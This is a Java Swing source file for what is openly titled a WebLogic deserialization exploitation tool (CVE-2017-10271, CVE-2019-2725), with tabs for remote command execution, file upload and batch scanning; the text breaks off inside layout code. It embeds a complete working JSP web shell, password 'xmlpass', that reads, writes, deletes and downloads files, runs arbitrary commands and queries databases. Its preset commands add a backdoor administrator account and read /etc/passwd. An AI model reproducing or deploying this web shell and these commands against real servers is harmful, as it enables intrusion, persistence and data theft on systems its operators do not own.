/*
 * To change this template, choose Tools | Templates
 * and open the template in the editor.
 */
package com.js.codeexec.frame;

import com.js.codeexec.paylaod.BasePayload;
import com.js.codeexec.paylaod.BatchCheck.BaseCheck;
import com.js.codeexec.paylaod.CVE_2019_2725_12;
import com.js.codeexec.tools.DiskUtil;
import com.js.codeexec.tools.HttpTool;
import com.js.codeexec.tools.Tools;
import java.awt.EventQueue;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.OutputStreamWriter;
import java.net.URLEncoder;
import java.util.HashSet;
import java.util.Vector;

import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.atomic.AtomicInteger;
import javax.swing.JFileChooser;
import javax.swing.JLabel;
import javax.swing.JOptionPane;
import javax.swing.SwingWorker;
import javax.swing.UIManager;
import javax.swing.table.DefaultTableModel;


/**
 *
 * @author Administrator
 */
public class Main extends javax.swing.JFrame {

    private HashSet<String> list_check=new HashSet<String>();
    private ExecutorService es = null;
    private JLabel status_lable=null;
    public static AtomicInteger count = new AtomicInteger(0);//线程安全的计数变量
    private SwingWorker batch_startWork=null;
    private SwingWorker batch_statusWork=null;

    /**
     * Creates new form Main
     */
    public Main() {
        initComponents();
        jtable_batch_check_result.getColumnModel().getColumn(0).setMaxWidth(80);
        jtable_batch_check_result.getColumnModel().getColumn(1).setMaxWidth(80);
        jtable_batch_check_result.getColumnModel().getColumn(2).setMaxWidth(560);
        jtable_batch_check_result.getColumnModel().getColumn(3).setMaxWidth(95);
        
        /*
        自定义的jtable
         tableOp = new DefaultZTableFactory();
		
		String[] tableHeader = {"序号","URL地址","是否存在漏洞"};
		
		int[] colWidth = { 100, 550, 140};
		int[] colsEditable = {};
		
		
		// 设置第三第四列可以被编辑。
		tableOp.setColumnsEditable(colsEditable);
		// 设置table信息生成Table。
		tableOp.setTableInfors(tableHeader, null, colWidth);
		
		// 得到Table。
		JTable ztable = tableOp.getZTable();
                
		// 设置Table的样式， 隔行变色。
		tableOp.setTableStyle(ztable);
       jScrollPane5.setViewportView(ztable);*/
        Tools.setToScreenCenter(this);
    }

    /**
     * This method is called from within the constructor to initialize the form.
     * WARNING: Do NOT modify this code. The content of this method is always
     * regenerated by the Form Editor.
     */
    @SuppressWarnings("unchecked")
    // <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents
    private void initComponents() {

        jPopupMenu1 = new javax.swing.JPopupMenu();
        jmenu_c_export = new javax.swing.JMenuItem();
        jmenu_c_del_select_rows = new javax.swing.JMenuItem();
        lbl_url = new javax.swing.JLabel();
        jbtn_start = new javax.swing.JButton();
        lbl_server = new javax.swing.JLabel();
        jTabbedPane2 = new javax.swing.JTabbedPane();
        jPanel1 = new javax.swing.JPanel();
        jScrollPane2 = new javax.swing.JScrollPane();
        jtxtp_info = new javax.swing.JTextPane();
        jPanel2 = new javax.swing.JPanel();
        jLabel2 = new javax.swing.JLabel();
        jcombox_cmd = new javax.swing.JComboBox<>();
        jbtn_execmd = new javax.swing.JButton();
        jcombox_encoding = new javax.swing.JComboBox<>();
        jScrollPane3 = new javax.swing.JScrollPane();
        jtxt_cmd_result = new javax.swing.JTextArea();
        jPanel3 = new javax.swing.JPanel();
        jLabel1 = new javax.swing.JLabel();
        jtxt_filepath = new javax.swing.JTextField();
        jbtn_uploadFile = new javax.swing.JButton();
        jcheckBox_use_user_path = new javax.swing.JCheckBox();
        jScrollPane1 = new javax.swing.JScrollPane();
        jtxt_fileContent = new javax.swing.JTextArea();
        jPanel4 = new javax.swing.JPanel();
        jScrollPane5 = new javax.swing.JScrollPane();
        jtable_batch_check_result = new javax.swing.JTable();
        jLabel3 = new javax.swing.JLabel();
        j_combox_threadSize = new javax.swing.JComboBox<>();
        jbtn_batch_check_stop = new javax.swing.JButton();
        jbtn_batch_check_start = new javax.swing.JButton();
        jtxt_batch_chek_path = new javax.swing.JTextField();
        jLabel4 = new javax.swing.JLabel();
        jbtn_batch_check_import = new javax.swing.JButton();
        jLabel5 = new javax.swing.JLabel();
        jlabel_check_status = new javax.swing.JLabel();
        jLabel6 = new javax.swing.JLabel();
        jlable_useTime = new javax.swing.JLabel();
        jbtn_clearLog = new javax.swing.JButton();
        jcombox_vuls = new javax.swing.JComboBox<>();
        jScrollPane6 = new javax.swing.JScrollPane();
        jtxt_log = new javax.swing.JTextArea();
        txt_url = new javax.swing.JTextField();
        jMenuBar1 = new javax.swing.JMenuBar();
        jMenu1 = new javax.swing.JMenu();
        jmenu_importURL = new javax.swing.JMenuItem();
        jmenu_export = new javax.swing.JMenuItem();
        jMenu2 = new javax.swing.JMenu();
        jmenu_about = new javax.swing.JMenuItem();
        jmenu_checkUpdata = new javax.swing.JMenuItem();

        jmenu_c_export.setText("导出结果");
        jmenu_c_export.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jmenu_c_exportActionPerformed(evt);
            }
        });
        jPopupMenu1.add(jmenu_c_export);

        jmenu_c_del_select_rows.setText("删除选中行");
        jmenu_c_del_select_rows.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jmenu_c_del_select_rowsActionPerformed(evt);
            }
        });
        jPopupMenu1.add(jmenu_c_del_select_rows);

        setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
        setTitle("Java反序列化漏洞利用工具V1.7 by shack2");
        setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR));
        setName("mainFrame"); // NOI18N
        addWindowListener(new java.awt.event.WindowAdapter() {
            public void windowClosing(java.awt.event.WindowEvent evt) {
                formWindowClosing(evt);
            }
            public void windowOpened(java.awt.event.WindowEvent evt) {
                InitCheckUpdate(evt);
            }
        });

        lbl_url.setText(" 地 址：");

        jbtn_start.setText("检 查");
        jbtn_start.setPreferredSize(new java.awt.Dimension(81, 23));
        jbtn_start.setSelected(true);
        jbtn_start.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jbtn_startActionPerformed(evt);
            }
        });

        lbl_server.setText("选择漏洞：");

        jPanel1.setBackground(new java.awt.Color(255, 255, 255));

        jtxtp_info.setText("2017-12-30：V1.0\n添加 weblogic xml反序列化漏洞 CVE-2017-10271\n\nV1.1\n修复CVE-2017-10271只能测试Weblogic10.*版本的问题。\n增加CNVD-C-2019-48814/CVE-2019-2725 Weblogic 10.*,Weblogic 12.*的支持。\n\nV1.2\n修复CNVD-C-2019-48814/CVE-2019-2725 在Weblogic 10下误报的问题。\n\n2019-06-17：V1.3\n优化EXP，验证完删除验证生成的文件，服务器不留文件。\n增加CNVD-C-2019-48814/CVE-2019-2725，在Weblogic 10下绕过利用方法。\n\n2019-07-31：V1.4\n修复CVE-2017-10271无法验证的漏洞的bug。\n\n2019-08-09：V1.5\n修复部分情况无法访问https页面问题，修复部分情况获取web路径显示不全问题。\n\n2019-08-14：V1.6\n修复CNVD-C-2019-48814/CVE-2019-2725误报问题，默认全return true了。\n\n2019-08-28：V1.7\n修复CVE-2017-10271/CVE-2019-2725,部分小版本漏报问题，优化CVE-2019-2725。");
        jScrollPane2.setViewportView(jtxtp_info);

        javax.swing.GroupLayout jPanel1Layout = new javax.swing.GroupLayout(jPanel1);
        jPanel1.setLayout(jPanel1Layout);
        jPanel1Layout.setHorizontalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 819, Short.MAX_VALUE)
                .addContainerGap())
        );
        jPanel1Layout.setVerticalGroup(
            jPanel1Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel1Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 429, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane2.addTab("基本信息", jPanel1);

        jPanel2.setBackground(new java.awt.Color(255, 255, 255));

        jLabel2.setText("命 令：");

        jcombox_cmd.setEditable(true);
        jcombox_cmd.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "whoami", "ipconfig", "ifconfig", "net user test test/add", "net localgroup administrators test /add", "cat /etc/passwd", "ls /", "wget http://127.0.0.1/" }));

        jbtn_execmd.setText("执 行");
        jbtn_execmd.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jbtn_execmdActionPerformed(evt);
            }
        });

        jcombox_encoding.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "GBK", "UTF-8", "GB2313", "ISO-8859-1" }));

        jtxt_cmd_result.setColumns(20);
        jtxt_cmd_result.setFont(new java.awt.Font("宋体", 0, 12)); // NOI18N
        jtxt_cmd_result.setLineWrap(true);
        jtxt_cmd_result.setRows(5);
        jScrollPane3.setViewportView(jtxt_cmd_result);

        javax.swing.GroupLayout jPanel2Layout = new javax.swing.GroupLayout(jPanel2);
        jPanel2.setLayout(jPanel2Layout);
        jPanel2Layout.setHorizontalGroup(
            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel2Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.TRAILING)
                    .addComponent(jScrollPane3)
                    .addGroup(javax.swing.GroupLayout.Alignment.LEADING, jPanel2Layout.createSequentialGroup()
                        .addComponent(jLabel2)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jcombox_cmd, javax.swing.GroupLayout.PREFERRED_SIZE, 583, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jcombox_encoding, javax.swing.GroupLayout.PREFERRED_SIZE, 78, javax.swing.GroupLayout.PREFERRED_SIZE)
                        .addGap(10, 10, 10)
                        .addComponent(jbtn_execmd, javax.swing.GroupLayout.PREFERRED_SIZE, 81, javax.swing.GroupLayout.PREFERRED_SIZE)))
                .addContainerGap())
        );
        jPanel2Layout.setVerticalGroup(
            jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel2Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel2Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jcombox_cmd, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jbtn_execmd)
                    .addComponent(jLabel2, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                    .addComponent(jcombox_encoding, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jScrollPane3, javax.swing.GroupLayout.DEFAULT_SIZE, 396, Short.MAX_VALUE)
                .addContainerGap())
        );

        jLabel2.getAccessibleContext().setAccessibleName("");

        jTabbedPane2.addTab("命令执行", jPanel2);

        jPanel3.setBackground(new java.awt.Color(255, 255, 255));

        jLabel1.setText("文件路径：");

        jtxt_filepath.setText("test.jsp");

        jbtn_uploadFile.setText("上传文件");
        jbtn_uploadFile.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jbtn_uploadFileActionPerformed(evt);
            }
        });

        jcheckBox_use_user_path.setBackground(new java.awt.Color(255, 255, 255));
        jcheckBox_use_user_path.setText("自定义路径");

        jtxt_fileContent.setColumns(20);
        jtxt_fileContent.setFont(new java.awt.Font("宋体", 0, 12)); // NOI18N
        jtxt_fileContent.setLineWrap(true);
        jtxt_fileContent.setRows(5);
        jtxt_fileContent.setText("<%@page import=\"java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*\"%><%!String Pwd=\"xmlpass\";String cs=\"UTF-8\";String EC(String s)throws Exception{return new String(s.getBytes(\"ISO-8859-1\"),cs);}Connection GC(String s)throws Exception{String[] x=s.trim().split(\"\\r\\n\");Class.forName(x[0].trim());if(x[1].indexOf(\"jdbc:oracle\")!=-1){return DriverManager.getConnection(x[1].trim()+\":\"+x[4],x[2].equalsIgnoreCase(\"[/null]\")?\"\":x[2],x[3].equalsIgnoreCase(\"[/null]\")?\"\":x[3]);}else{Connection c=DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase(\"[/null]\")?\"\":x[2],x[3].equalsIgnoreCase(\"[/null]\")?\"\":x[3]);if(x.length>4){c.setCatalog(x[4]);}return c;}}void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i<r.length;i++){sb.append(r[i].toString().substring(0,2));}}void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT,sQ,sF=\"\";java.util.Date dt;SimpleDateFormat fm=new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");for(int i=0; i<l.length; i++){dt=new java.util.Date(l[i].lastModified());sT=fm.format(dt);sQ=l[i].canRead()?\"R\":\"\";sQ +=l[i].canWrite()?\" W\":\"\";if(l[i].isDirectory()){sb.append(l[i].getName()+\"/\\t\"+sT+\"\\t\"+l[i].length()+\"\\t\"+sQ+\"\\n\");}else{sF+=l[i].getName()+\"\\t\"+sT+\"\\t\"+l[i].length()+\"\\t\"+sQ+\"\\n\";}}sb.append(sF);}void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles();for(int k=0; k < x.length; k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();}void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset();ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));os.write((\"->\"+\"|\").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write((\"|\"+\"<-\").getBytes(),0,3);os.close();is.close();}void GG(String s,String d)throws Exception{String h=\"0123456789ABCDEF\";File f=new File(s);f.createNewFile();FileOutputStream os=new FileOutputStream(f);for(int i=0; i<d.length();i+=2){os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i+1))));}os.close();}void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles();for(int j=0; j<z.length; j++){HH(s+\"/\"+z[j].getName(),d+\"/\"+z[j].getName());}}else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df);int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}}void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();}void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());}void LL(String s,String d)throws Exception{URL u=new URL(s);int n=0;FileOutputStream os=new FileOutputStream(d);HttpURLConnection h=(HttpURLConnection) u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512];while((n=is.read(b))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();}void MM(InputStream is,StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is));while((l=br.readLine())!=null){sb.append(l+\"\\r\\n\");}}void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=s.indexOf(\"jdbc:oracle\")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();while(r.next()){sb.append(r.getString(1)+\"\\t\");}r.close();c.close();}void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] x=s.trim().split(\"\\r\\n\");ResultSet r=c.getMetaData().getTables(null,s.indexOf(\"jdbc:oracle\")!=-1?x.length>5?x[5]:x[4]:null,\"%\",new String[]{\"TABLE\"});while(r.next()){sb.append(r.getString(\"TABLE_NAME\")+\"\\t\");}r.close();c.close();}void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split(\"\\r\\n\");Connection c=GC(s);Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery(\"select * from \"+x[x.length-1]);ResultSetMetaData d=r.getMetaData();for(int i=1;i<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+\" (\"+d.getColumnTypeName(i)+\")\\t\");}r.close();m.close();c.close();}void QQ(String cs,String s,String q,StringBuffer sb,String p)throws Exception{Connection c=GC(s);Statement m=c.createStatement(1005,1008);BufferedWriter bw=null;try{ResultSet r=m.executeQuery(q.indexOf(\"--f:\")!=-1?q.substring(0,q.indexOf(\"--f:\")):q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(int i=1; i <=n; i++){sb.append(d.getColumnName(i)+\"\\t|\\t\");}sb.append(\"\\r\\n\");if(q.indexOf(\"--f:\")!=-1){File file=new File(p);if(q.indexOf(\"-to:\")==-1){file.mkdir();}bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf(\"-to:\")!=-1?p.trim():p+q.substring(q.indexOf(\"--f:\")+4,q.length()).trim()),true),cs));}while(r.next()){for(int i=1; i<=n;i++){if(q.indexOf(\"--f:\")!=-1){bw.write(r.getObject(i)+\"\"+\"\\t\");bw.flush();}else{sb.append(r.getObject(i)+\"\"+\"\\t|\\t\");}}if(bw!=null){bw.newLine();}sb.append(\"\\r\\n\");}r.close();if(bw!=null){bw.close();}}catch(Exception e){sb.append(\"Result\\t|\\t\\r\\n\");try{m.executeUpdate(q);sb.append(\"Execute Successfully!\\t|\\t\\r\\n\");}catch(Exception ee){sb.append(ee.toString()+\"\\t|\\t\\r\\n\");}}m.close();c.close();}%><%cs=request.getParameter(\"z0\")!=null?request.getParameter(\"z0\")+\"\":cs;response.setContentType(\"text/html\");response.setCharacterEncoding(cs);StringBuffer sb=new StringBuffer(\"\");try{String Z=EC(request.getParameter(Pwd)+\"\");String z1=EC(request.getParameter(\"z1\")+\"\");String z2=EC(request.getParameter(\"z2\")+\"\");sb.append(\"->\"+\"|\");String s=request.getSession().getServletContext().getRealPath(\"/\");if(Z.equals(\"A\")){sb.append(s+\"\\t\");if(!s.substring(0,1).equals(\"/\")){AA(sb);}}else if(Z.equals(\"B\")){BB(z1,sb);}else if(Z.equals(\"C\")){String l=\"\";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));while((l=br.readLine())!=null){sb.append(l+\"\\r\\n\");}br.close();}else if(Z.equals(\"D\")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));bw.write(z2);bw.close();sb.append(\"1\");}else if(Z.equals(\"E\")){EE(z1);sb.append(\"1\");}else if(Z.equals(\"F\")){FF(z1,response);}else if(Z.equals(\"G\")){GG(z1,z2);sb.append(\"1\");}else if(Z.equals(\"H\")){HH(z1,z2);sb.append(\"1\");}else if(Z.equals(\"I\")){II(z1,z2);sb.append(\"1\");}else if(Z.equals(\"J\")){JJ(z1);sb.append(\"1\");}else if(Z.equals(\"K\")){KK(z1,z2);sb.append(\"1\");}else if(Z.equals(\"L\")){LL(z1,z2);sb.append(\"1\");}else if(Z.equals(\"M\")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c);MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals(\"N\")){NN(z1,sb);}else if(Z.equals(\"O\")){OO(z1,sb);}else if(Z.equals(\"P\")){PP(z1,sb);}else if(Z.equals(\"Q\")){QQ(cs,z1,z2,sb,z2.indexOf(\"-to:\")!=-1?z2.substring(z2.indexOf(\"-to:\")+4,z2.length()):s.replaceAll(\"\\\\\\\\\",\"/\")+\"images/\");}}catch(Exception e){sb.append(\"ERROR\"+\":// \"+e.toString());}sb.append(\"|\"+\"<-\");out.print(sb.toString());%>");
        jScrollPane1.setViewportView(jtxt_fileContent);

        javax.swing.GroupLayout jPanel3Layout = new javax.swing.GroupLayout(jPanel3);
        jPanel3.setLayout(jPanel3Layout);
        jPanel3Layout.setHorizontalGroup(
            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel3Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
                    .addComponent(jScrollPane1)
                    .addGroup(jPanel3Layout.createSequentialGroup()
                        .addComponent(jLabel1)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jtxt_filepath, javax.swing.GroupLayout.DEFAULT_SIZE, 571, Short.MAX_VALUE)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jcheckBox_use_user_path)
                        .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                        .addComponent(jbtn_uploadFile, javax.swing.GroupLayout.PREFERRED_SIZE, 81, javax.swing.GroupLayout.PREFERRED_SIZE)))
                .addContainerGap())
        );
        jPanel3Layout.setVerticalGroup(
            jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel3Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel3Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel1)
                    .addComponent(jtxt_filepath, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jbtn_uploadFile)
                    .addComponent(jcheckBox_use_user_path))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jScrollPane1, javax.swing.GroupLayout.DEFAULT_SIZE, 400, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane2.addTab("文件上传", jPanel3);

        jPanel4.setBackground(new java.awt.Color(255, 255, 255));

        jtable_batch_check_result.setAutoCreateRowSorter(true);
        jtable_batch_check_result.setModel(new javax.swing.table.DefaultTableModel(
            new Object [][] {

            },
            new String [] {
                "序号", "Web服务器", "URL地址", "是否存在漏洞"
            }
        ) {
            boolean[] canEdit = new boolean [] {
                false, false, false, false
            };

            public boolean isCellEditable(int rowIndex, int columnIndex) {
                return canEdit [columnIndex];
            }
        });
        jtable_batch_check_result.addMouseListener(new java.awt.event.MouseAdapter() {
            public void mouseClicked(java.awt.event.MouseEvent evt) {
                jtable_batch_check_resultMouseClicked(evt);
            }
        });
        jScrollPane5.setViewportView(jtable_batch_check_result);

        jLabel3.setText("线程：");

        j_combox_threadSize.setEditable(true);
        j_combox_threadSize.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "15", "20", "25", "30", "40", "50", "60", "70", "80", "90", "100" }));
        j_combox_threadSize.setSelectedIndex(9);

        jbtn_batch_check_stop.setText("停 止");
        jbtn_batch_check_stop.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jbtn_batch_check_stopActionPerformed(evt);
            }
        });

        jbtn_batch_check_start.setText("开 始");
        jbtn_batch_check_start.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jbtn_batch_check_startActionPerformed(evt);
            }
        });

        jLabel4.setText("文件路径：");

        jbtn_batch_check_import.setText("导 入");
        jbtn_batch_check_import.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jbtn_batch_check_importActionPerformed(evt);
            }
        });

        jLabel5.setText("进度：");

        jlabel_check_status.setText("0/0");

        jLabel6.setText("用时：");

        jlable_useTime.setText("0");

        javax.swing.GroupLayout jPanel4Layout = new javax.swing.GroupLayout(jPanel4);
        jPanel4.setLayout(jPanel4Layout);
        jPanel4Layout.setHorizontalGroup(
            jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel4Layout.createSequentialGroup()
                .addContainerGap()
                .addComponent(jScrollPane5)
                .addContainerGap())
            .addGroup(javax.swing.GroupLayout.Alignment.TRAILING, jPanel4Layout.createSequentialGroup()
                .addGap(20, 20, 20)
                .addComponent(jLabel3)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(j_combox_threadSize, javax.swing.GroupLayout.PREFERRED_SIZE, 48, javax.swing.GroupLayout.PREFERRED_SIZE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jLabel4)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jtxt_batch_chek_path, javax.swing.GroupLayout.DEFAULT_SIZE, 210, Short.MAX_VALUE)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jbtn_batch_check_import)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jbtn_batch_check_start)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jbtn_batch_check_stop)
                .addGap(14, 14, 14)
                .addComponent(jLabel6)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jlable_useTime, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addGap(42, 42, 42)
                .addComponent(jLabel5)
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED)
                .addComponent(jlabel_check_status, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
                .addGap(60, 60, 60))
        );
        jPanel4Layout.setVerticalGroup(
            jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
            .addGroup(jPanel4Layout.createSequentialGroup()
                .addContainerGap()
                .addGroup(jPanel4Layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE)
                    .addComponent(jLabel3)
                    .addComponent(j_combox_threadSize, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jbtn_batch_check_stop, javax.swing.GroupLayout.PREFERRED_SIZE, 23, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jbtn_batch_check_start)
                    .addComponent(jtxt_batch_chek_path, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE)
                    .addComponent(jLabel4)
                    .addComponent(jbtn_batch_check_import)
                    .addComponent(jLabel5)
                    .addComponent(jlabel_check_status)
                    .addComponent(jLabel6)
                    .addComponent(jlable_useTime))
                .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)
                .addComponent(jScrollPane5, javax.swing.GroupLayout.DEFAULT_SIZE, 396, Short.MAX_VALUE)
                .addContainerGap())
        );

        jTabbedPane2.addTab("批量检查", jPanel4);

        jbtn_clearLog.setText("清空日志");
        jbtn_clearLog.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jbtn_clearLogActionPerformed(evt);
            }
        });

        jcombox_vuls.setModel(new javax.swing.DefaultComboBoxModel<>(new String[] { "CVE-2017-10271 Weblogic10 XMLDecoder反序列化漏洞", "CVE-2017-10271 Weblogic12 XMLDecoder反序列化漏洞", "CVE-2019-2725 Weblogic12 wls9-async反序列化", "CVE-2019-2725 Weblogic10 wls9-async反序列化", "CVE-2019-2725-Bypass Weblogic10 wls9-async反序列化" }));

        jtxt_log.setColumns(20);
        jtxt_log.setFont(new java.awt.Font("宋体", 0, 12)); // NOI18N
        jtxt_log.setLineWrap(true);
        jtxt_log.setRows(5);
        jScrollPane6.setViewportView(jtxt_log);

        txt_url.setText("http://127.0.0.1:7001/");

        jMenu1.setText("选 项");

        jmenu_importURL.setText("导入目标");
        jMenu1.add(jmenu_importURL);

        jmenu_export.setText("导出批量检查结果");
        jmenu_export.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jmenu_exportActionPerformed(evt);
            }
        });
        jMenu1.add(jmenu_export);

        jMenuBar1.add(jMenu1);

        jMenu2.setText("帮 助");

        jmenu_about.setText("关 于");
        jmenu_about.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jmenu_aboutActionPerformed(evt);
            }
        });
        jMenu2.add(jmenu_about);

        jmenu_checkUpdata.setText("检查更新");
        jmenu_checkUpdata.addActionListener(new java.awt.event.ActionListener() {
            public void actionPerformed(java.awt.event.ActionEvent evt) {
                jmenu_checkUpdataActionPerformed(evt);
            }
        });
        jMenu2.add(jmenu_checkUpdata);

        jMenuBar1.add(jMenu2);

        setJMenuBar(jMenuBar1);

        javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());
        getContentPane().setLayout(layout);
        layout.setHorizontalGroup(
            layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
